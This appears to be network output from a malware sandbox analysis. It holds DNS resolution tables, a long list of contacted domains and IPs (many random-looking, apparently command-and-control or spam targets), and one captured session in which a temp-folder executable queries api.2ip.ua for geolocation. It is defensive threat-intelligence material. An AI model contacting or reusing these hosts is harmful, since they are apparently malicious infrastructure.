Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.895221949 CEST	8.8.8.8	192.168.2.4	0x30be	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.532701969 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.791526079 CEST	8.8.8.8	192.168.2.4	0x8cdf	No error (0)	h170013.srv22.test-hf.su		91.227.16.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.651967049 CEST	8.8.8.8	192.168.2.4	0x36c4	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.923799992 CEST	8.8.8.8	192.168.2.4	0x6c4e	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.128134012 CEST	8.8.8.8	192.168.2.4	0x14f	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:49.256828070 CEST	8.8.8.8	192.168.2.4	0x7336	No error (0)	h170013.srv22.test-hf.su		91.227.16.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.083887100 CEST	8.8.8.8	192.168.2.4	0xf0bb	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:54.440387011 CEST	8.8.8.8	192.168.2.4	0xe4e3	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:57.665920973 CEST	8.8.8.8	192.168.2.4	0xa111	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:04.528726101 CEST	8.8.8.8	192.168.2.4	0xaa03	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.116636992 CEST	8.8.8.8	192.168.2.4	0xcc5	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.123203039 CEST	8.8.8.8	192.168.2.4	0x255d	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.123203039 CEST	8.8.8.8	192.168.2.4	0x255d	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.133750916 CEST	8.8.8.8	192.168.2.4	0x2f07	No error (0)	www.ftchat.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.133750916 CEST	8.8.8.8	192.168.2.4	0x2f07	No error (0)	www.ftchat.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.134556055 CEST	8.8.8.8	192.168.2.4	0x2ea8	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.134556055 CEST	8.8.8.8	192.168.2.4	0x2ea8	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.135771036 CEST	8.8.8.8	192.168.2.4	0x8785	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.135771036 CEST	8.8.8.8	192.168.2.4	0x8785	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.152292967 CEST	8.8.8.8	192.168.2.4	0x3abf	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.152292967 CEST	8.8.8.8	192.168.2.4	0x3abf	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.221843004 CEST	8.8.8.8	192.168.2.4	0xb26d	No error (0)	www.pdqhomes.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.221843004 CEST	8.8.8.8	192.168.2.4	0xb26d	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.221843004 CEST	8.8.8.8	192.168.2.4	0xb26d	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.221843004 CEST	8.8.8.8	192.168.2.4	0xb26d	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.237636089 CEST	8.8.8.8	192.168.2.4	0x99de	No error (0)	www.alteor.cl	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.237636089 CEST	8.8.8.8	192.168.2.4	0x99de	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.237636089 CEST	8.8.8.8	192.168.2.4	0x99de	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.248980045 CEST	8.8.8.8	192.168.2.4	0xaaf6	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.248980045 CEST	8.8.8.8	192.168.2.4	0xaaf6	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.248980045 CEST	8.8.8.8	192.168.2.4	0xaaf6	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.272007942 CEST	8.8.8.8	192.168.2.4	0x563c	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.272007942 CEST	8.8.8.8	192.168.2.4	0x563c	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.272007942 CEST	8.8.8.8	192.168.2.4	0x563c	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.348340034 CEST	8.8.8.8	192.168.2.4	0xd568	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.348340034 CEST	8.8.8.8	192.168.2.4	0xd568	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.348340034 CEST	8.8.8.8	192.168.2.4	0xd568	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.380568027 CEST	8.8.8.8	192.168.2.4	0xadef	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.380568027 CEST	8.8.8.8	192.168.2.4	0xadef	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.382426977 CEST	8.8.8.8	192.168.2.4	0x428a	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.389739990 CEST	8.8.8.8	192.168.2.4	0x1590	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.389739990 CEST	8.8.8.8	192.168.2.4	0x1590	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.541218042 CEST	8.8.8.8	192.168.2.4	0x3f43	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.541218042 CEST	8.8.8.8	192.168.2.4	0x3f43	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.541218042 CEST	8.8.8.8	192.168.2.4	0x3f43	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.564534903 CEST	8.8.8.8	192.168.2.4	0xa8fb	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.564534903 CEST	8.8.8.8	192.168.2.4	0xa8fb	No error (0)	ghs.googlehosted.com		172.217.16.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.611036062 CEST	8.8.8.8	192.168.2.4	0x780f	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.739794016 CEST	8.8.8.8	192.168.2.4	0x2172	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.821752071 CEST	8.8.8.8	192.168.2.4	0x2804	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.821752071 CEST	8.8.8.8	192.168.2.4	0x2804	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.878750086 CEST	8.8.8.8	192.168.2.4	0xd976	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.947468996 CEST	8.8.8.8	192.168.2.4	0xc8ef	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.947468996 CEST	8.8.8.8	192.168.2.4	0xc8ef	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.953694105 CEST	8.8.8.8	192.168.2.4	0xdedc	No error (0)	www.petsfan.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.953694105 CEST	8.8.8.8	192.168.2.4	0xdedc	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:14.953694105 CEST	8.8.8.8	192.168.2.4	0xdedc	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.953694105 CEST	8.8.8.8	192.168.2.4	0xdedc	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.163363934 CEST	8.8.8.8	192.168.2.4	0x22ee	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:15.163363934 CEST	8.8.8.8	192.168.2.4	0x22ee	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.264127970 CEST	8.8.8.8	192.168.2.4	0xda0a	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.332330942 CEST	8.8.8.8	192.168.2.4	0x7f50	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:15.332330942 CEST	8.8.8.8	192.168.2.4	0x7f50	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.474621058 CEST	8.8.8.8	192.168.2.4	0x37d7	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.474621058 CEST	8.8.8.8	192.168.2.4	0x37d7	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.620544910 CEST	8.8.8.8	192.168.2.4	0x886a	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:15.620544910 CEST	8.8.8.8	192.168.2.4	0x886a	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.624125004 CEST	8.8.8.8	192.168.2.4	0x1eea	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.676943064 CEST	8.8.8.8	192.168.2.4	0xacac	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:15.676943064 CEST	8.8.8.8	192.168.2.4	0xacac	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.723812103 CEST	8.8.8.8	192.168.2.4	0x7632	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.732716084 CEST	8.8.8.8	192.168.2.4	0x6f11	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.764820099 CEST	8.8.8.8	192.168.2.4	0x31f1	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.785284042 CEST	8.8.8.8	192.168.2.4	0x9504	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:15.785284042 CEST	8.8.8.8	192.168.2.4	0x9504	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.875806093 CEST	8.8.8.8	192.168.2.4	0xcbdf	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.963994026 CEST	8.8.8.8	192.168.2.4	0xc2fd	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:15.963994026 CEST	8.8.8.8	192.168.2.4	0xc2fd	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.120345116 CEST	8.8.8.8	192.168.2.4	0xcfb5	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.247716904 CEST	8.8.8.8	192.168.2.4	0xdca4	No error (0)	www.netcr.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:16.247716904 CEST	8.8.8.8	192.168.2.4	0xdca4	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:16.247716904 CEST	8.8.8.8	192.168.2.4	0xdca4	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.247716904 CEST	8.8.8.8	192.168.2.4	0xdca4	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.318480968 CEST	8.8.8.8	192.168.2.4	0xb5a3	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:16.318480968 CEST	8.8.8.8	192.168.2.4	0xb5a3	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:16.318480968 CEST	8.8.8.8	192.168.2.4	0xb5a3	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.446012974 CEST	8.8.8.8	192.168.2.4	0xcb7f	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.446012974 CEST	8.8.8.8	192.168.2.4	0xcb7f	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.545885086 CEST	8.8.8.8	192.168.2.4	0x2b01	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.545885086 CEST	8.8.8.8	192.168.2.4	0x2b01	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.771631956 CEST	8.8.8.8	192.168.2.4	0x301a	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.961174965 CEST	8.8.8.8	192.168.2.4	0xaaae	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:16.961174965 CEST	8.8.8.8	192.168.2.4	0xaaae	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:16.961174965 CEST	8.8.8.8	192.168.2.4	0xaaae	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.118	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.961174965 CEST	8.8.8.8	192.168.2.4	0xaaae	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.91	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.961174965 CEST	8.8.8.8	192.168.2.4	0xaaae	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.99	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.961174965 CEST	8.8.8.8	192.168.2.4	0xaaae	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.983913898 CEST	8.8.8.8	192.168.2.4	0xcdda	No error (0)	www.snugpak.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 18:28:16.983913898 CEST	8.8.8.8	192.168.2.4	0xcdda	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:17.158560038 CEST	8.8.8.8	192.168.2.4	0x3b8f	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:17.179992914 CEST	8.8.8.8	192.168.2.4	0xbab6	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:17.209500074 CEST	8.8.8.8	192.168.2.4	0x24f	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

nordskills.eu

shsplatform.co.uk

dawarearp.org

potunulit.org

luahbtk.com

colisumy.com

rusbx.net

upfgvoare.org

hbinahrmsa.net

pxokuec.com

kysdglnfw.com

npnhmshhlm.net

ghopap.com

ypicfo.net

95.214.25.207:3003

ujpkywpg.org

hxipqpmjv.com

ijtlevgfjh.net

hlvypvdtu.com

45.9.74.80

lywagscr.com

setrsodm.org

89.208.104.62

agkfu.net

pdluyuco.org

oyhqks.com

ajagy.org

us.imgjeoigaa.com

sscqeqbqr.net

hguhixppjm.org

sbopsviyvo.com

ijsdrbf.org

qewfhyg.net

sqympatuy.org

cgincpchfy.net

elbewa.com

ukmhv.org

nntkhn.net

5.42.65.80

megyuo.org

fpgqnfvo.net

xeothwqx.net

aa.imgjeoogbb.com

sdxmmeugr.org

almchaq.org

ighnqydj.org

lmycmsww.com

ediupxitkq.com

eiedxkm.net

gtlwgnqp.org

greenbi.net

opruye.net

fqlwawko.org

xsxbsa.net

auokkee.org

jiqfq.com

iektecm.com

fdbmi.com

jnprpb.com

hkqoarxc.org

aojsvlq.org

vifqt.org

iahrtrwpmt.net

bwphoff.org

eiwmy.com

jiybxdi.com

reinroot.top

hrgtj.org

weqgys.com

gtbcxc.net

adriaenclaeys.top

ehpknic.org

ssbtec.org

h170013.srv22.test-hf.su

xaeidbh.com

tucai.org

pentc.com

gstatic-node.io

www.ftchat.com

www.rs-ag.com

www.wifi4all.nl

www.fcwcvt.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49696	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	Direction	Data
2023-07-27 16:26:47 UTC	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:26:47 UTC	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:26:47 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
